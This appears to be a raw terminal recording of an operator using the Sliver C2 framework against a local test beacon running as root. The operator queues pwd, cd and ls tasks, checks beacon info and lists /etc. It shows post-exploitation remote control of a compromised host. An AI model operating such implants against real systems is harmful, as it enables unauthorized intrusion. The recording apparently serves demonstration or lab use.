[13.580976, "o", "\u001b[6n"]
|
||||
[13.59193, "o", "tas\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A"]
|
||||
[13.593041, "o", "\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[13.755221, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[13.757586, "o", "\u001b[6n"]
|
||||
[13.767033, "o", "task\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[13.797975, "o", "\u001b[?25l"]
|
||||
[13.798407, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[13.801808, "o", "\u001b[1m\u001b[32mtasks\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[31C\u001b[107D\u001b[36C\u001b[?25h"]
|
||||
[14.330079, "o", "\u001b[36D\u001b[31C\u001b[6n"]
|
||||
[14.339172, "o", "\u001b[107D\u001b[36C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[14.339882, "o", "\u001b[0 q\r\n"]
|
||||
[14.374826, "o", " ID State Message Type Created Sent Completed \r\n==== ======= ============== ========= ====== ===========\r\n"]
|
||||
[14.37569, "o", "\r\n\r\n"]
|
||||
[14.389895, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[14.390054, "o", "\u001b[1 q"]
|
||||
[14.391627, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[14.393573, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[14.394075, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[15.74266, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[15.752601, "o", "\u001b[6n"]
|
||||
[15.756241, "o", "p\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[15.75659, "o", "\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[16.027773, "o", "\u001b[?25l\u001b[107D"]
|
||||
[16.030576, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[16.037738, "o", "pw\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[16.107478, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[16.111582, "o", "\u001b[1m\u001b[32mpwd\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[16.219819, "o", "\u001b[34D\u001b[31C"]
|
||||
[16.220708, "o", "\u001b[6n"]
|
||||
[16.225655, "o", "\u001b[107D\u001b[34C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
|
||||
[16.247539, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mTasked beacon CONTINUING_DOWNTOWN (3b339091)\r\n"]
|
||||
[16.248147, "o", "\r\n"]
|
||||
[16.262404, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[16.262572, "o", "\u001b[1 q\u001b[?25l\u001b[107D"]
|
||||
[16.263191, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[16.265419, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[17.822584, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[17.833168, "o", "c\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[17.885083, "o", "\u001b[?25l"]
|
||||
[17.886723, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[17.890018, "o", "\u001b[1m\u001b[32mcd\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[17.890688, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[17.965664, "o", "\u001b[?25l"]
|
||||
[17.966478, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[17.96914, "o", "\u001b[1m\u001b[32mcd \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C"]
|
||||
[17.969649, "o", "\u001b[?25h"]
|
||||
[18.307966, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[18.318102, "o", "\u001b[1m\u001b[32mcd \u001b[39m\u001b[22m/\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[18.319213, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[18.428329, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[18.433563, "o", "\u001b[1m\u001b[32mcd \u001b[39m\u001b[22m/e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[18.434378, "o", "\u001b[1A\u001b[36D\u001b[31C\u001b[107D\u001b[36C\u001b[?25h"]
|
||||
[18.530772, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[18.540775, "o", "\u001b[1m\u001b[32mcd \u001b[39m\u001b[22m/et\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[18.54121, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[37D\u001b[31C\u001b[107D\u001b[37C\u001b[?25h"]
|
||||
[18.793708, "o", "\u001b[?25l"]
|
||||
[18.795666, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[18.801623, "o", "\u001b[1m\u001b[32mcd \u001b[39m\u001b[22m/etc\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[38D\u001b[31C\u001b[107D\u001b[38C\u001b[?25h"]
|
||||
[19.801765, "o", "\u001b[38D\u001b[31C\u001b[6n"]
|
||||
[19.817067, "o", "\u001b[107D\u001b[38C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
|
||||
[19.846176, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mTasked beacon CONTINUING_DOWNTOWN (415074fa)\r\n"]
|
||||
[19.847431, "o", "\r\n"]
|
||||
[19.85978, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[19.860582, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[19.862153, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[19.862699, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[20.855063, "o", "\u001b[?25l"]
|
||||
[20.858059, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[20.858829, "o", "\u001b[6n"]
|
||||
[20.863938, "o", "l\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D"]
|
||||
[20.865159, "o", "\u001b[32C\u001b[?25h"]
|
||||
[21.092764, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[21.104102, "o", "\u001b[1m\u001b[32mls\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[21.10599, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[21.410436, "o", "\u001b[33D\u001b[31C"]
|
||||
[21.412152, "o", "\u001b[6n"]
|
||||
[21.418941, "o", "\u001b[107D\u001b[33C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
|
||||
[21.45684, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mTasked beacon CONTINUING_DOWNTOWN (3fb0a3ef)\r\n"]
|
||||
[21.457058, "o", "\r\n"]
|
||||
[21.469921, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[21.470439, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[21.471969, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[23.698776, "o", "\u001b[H\u001b[2J\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[23.706583, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[23.713233, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[24.204711, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[24.215048, "o", "t\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[24.216192, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[24.385819, "o", "\u001b[?25l"]
|
||||
[24.387265, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[24.392423, "o", "ta\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[24.432631, "o", "\u001b[?25l\u001b[107D"]
|
||||
[24.43278, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[24.435163, "o", "tas\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[24.634834, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[24.645885, "o", "task\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[24.647113, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[24.762501, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[24.762693, "o", "\u001b[6n"]
|
||||
[24.764901, "o", "\u001b[1m\u001b[32mtasks\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[31C\u001b[107D"]
|
||||
[24.765428, "o", "\u001b[36C\u001b[?25h"]
|
||||
[25.083701, "o", "\u001b[36D\u001b[31C\u001b[6n"]
|
||||
[25.088072, "o", "\u001b[107D\u001b[36C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[25.089524, "o", "\u001b[0 q\r\n"]
|
||||
[25.117898, "o", " ID State Message Type Created Sent Completed \r\n========== ========= ============== =============================== =============================== ===============================\r\n"]
|
||||
[25.119642, "o", " 3fb0a3ef \u001b[1mpending\u001b[0m Ls Wed, 01 May 2024 18:59:46 UTC Thu, 01 Jan 1970 00:00:00 UTC Thu, 01 Jan 1970 00:00:00 UTC \r\n 415074fa \u001b[1mpending\u001b[0m Cd Wed, 01 May 2024 18:59:44 UTC Thu, 01 Jan 1970 00:00:00 UTC Thu, 01 Jan 1970 00:00:00 UTC \r\n 3b339091 \u001b[1mpending\u001b[0m Pwd Wed, 01 May 2024 18:59:41 UTC Thu, 01 Jan 1970 00:00:00 UTC Thu, 01 Jan 1970 00:00:00 UTC \r\n\r\n\r\n"]
|
||||
[25.139008, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[25.139159, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[25.139852, "o", "\u001b[6n"]
|
||||
[25.142048, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A"]
|
||||
[25.143009, "o", "\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[30.994088, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[30.995627, "o", "\u001b[6n"]
|
||||
[31.00773, "o", "i\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[31.00882, "o", "\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[31.074793, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[31.075559, "o", "\u001b[6n"]
|
||||
[31.078638, "o", "in\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[31.079039, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[31.222549, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[31.230427, "o", "inf\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[31.231631, "o", "\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[31.311545, "o", "\u001b[?25l"]
|
||||
[31.31489, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[31.320102, "o", "\u001b[1m\u001b[32minfo\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[31.321808, "o", "\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[31.68305, "o", "\u001b[35D\u001b[31C"]
|
||||
[31.688619, "o", "\u001b[6n"]
|
||||
[31.698806, "o", "\u001b[107D\u001b[35C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[31.699018, "o", "\u001b[0 q\r\n"]
|
||||
[31.729734, "o", "\u001b[1m Beacon ID: \u001b[0m1c2fd3e4-045b-445c-9cbc-7c955a42710c\r\n"]
|
||||
[31.730149, "o", "\u001b[1m Name: \u001b[0mCONTINUING_DOWNTOWN\r\n\u001b[1m Hostname: \u001b[0m98df0494f659\r\n"]
|
||||
[31.733905, "o", "\u001b[1m UUID: \u001b[0m3424b72e-e104-e99b-e183-dc60a7b751a0\r\n\u001b[1m Username: \u001b[0mroot\r\n\u001b[1m UID: \u001b[0m0\r\n\u001b[1m GID: \u001b[0m0\r\n\u001b[1m PID: \u001b[0m19246\r\n\u001b[1m OS: \u001b[0mlinux\r\n\u001b[1m Version: \u001b[0mLinux 98df0494f659 5.10.76-linuxkit\r\n\u001b[1m Locale: \u001b[0m\r\n\u001b[1m Arch: \u001b[0mamd64\r\n\u001b[1m Active C2: \u001b[0mhttps://localhost\r\n\u001b[1m Remote Address: \u001b[0m127.0.0.1:60476\r\n\u001b[1m Proxy URL: \u001b[0m\r\n"]
|
||||
[31.7359, "o", "\u001b[1m Interval: \u001b[0m15s\r\n\u001b[1m Jitter: \u001b[0m30s\r\n\u001b[1m First Contact: \u001b[0mWed May 1 18:59:29 UTC 2024 (28s ago)\r\n\u001b[1m Last Checkin: \u001b[0mWed May 1 18:59:30 UTC 2024 (27s ago)\r\n\u001b[1m Next Checkin: \u001b[0m\u001b[1m\u001b[31mWed May 1 18:59:47 UTC 2024 (10s ago)\u001b[0m\r\n\r\n"]
|
||||
[31.840928, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[31.841133, "o", "\u001b[6n"]
|
||||
[31.843164, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[41.421086, "o", "\u001b[31D\u001b[31C\u001b[107D\u001b[0J\r\u001b[2K\u001b[1m\u001b[32m[+] \u001b[0mCONTINUING_DOWNTOWN completed task 3b339091\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[41.421814, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[41.423966, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[41.425137, "o", "\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[41.428631, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J\r\u001b[2K\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[41.428722, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[41.429504, "o", "\u001b[6n"]
|
||||
[41.430967, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[41.431046, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[41.431653, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0m/root\r\n\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[41.432393, "o", "\u001b[6n"]
|
||||
[41.43396, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[41.438188, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J\r\u001b[2K\u001b[1m\u001b[32m[+] \u001b[0mCONTINUING_DOWNTOWN completed task 415074fa\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[41.439906, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[41.443023, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J\r\u001b[2K\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[41.443652, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[41.443751, "o", "\u001b[6n"]
|
||||
[41.445692, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[41.445832, "o", "\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0m/etc\r\n\r\n\r\n"]
|
||||
[41.446073, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[41.447912, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[41.451528, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J\r\u001b[2K\u001b[1m\u001b[32m[+] \u001b[0mCONTINUING_DOWNTOWN completed task 3fb0a3ef\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[41.452034, "o", "\u001b[6n"]
|
||||
[41.454093, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D"]
|
||||
[41.455191, "o", "\u001b[31C\u001b[?25h"]
|
||||
[41.459438, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J\r\u001b[2K\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[41.459575, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[41.459998, "o", "\u001b[6n"]
|
||||
[41.461618, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A"]
|
||||
[41.461799, "o", "\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[41.46353, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J/etc (81 items, 260.8 KiB)\r\n\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[41.46363, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[41.464981, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[41.465149, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J==========================\r\n\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[41.465556, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[41.467683, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[41.470944, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J-rw------- root:root .pwd.lock 0 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root adduser.conf 3.0 KiB Tue Apr 25 14:03:14 +0000 2023\r\ndrwxr-xr-x root:root alternatives <dir> Tue Apr 25 14:06:16 +0000 2023\r\ndrwxr-xr-x root:root apt <dir> Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root bash.bashrc 2.3 KiB Thu Jan 06 16:23:33 +0000 2022\r\n-rw-r--r-- root:root bindresvport.blacklist 367 B Wed Dec 16 11:04:55 +0000 2020\r\ndrwxr-xr-x root:root ca-certificates <dir> Wed May 01 13:50:41 +0000 2024\r\n-rw-r--r-- root:root ca-certificates.conf 5.8 KiB Wed May 01 13:50:51 +0000 2024\r\ndrwxr-xr-x root:root cloud <dir> Tue Apr 25 14:06:23 +0000 2023\r\ndrwxr-xr-x root:root cron.d <d"]
|
||||
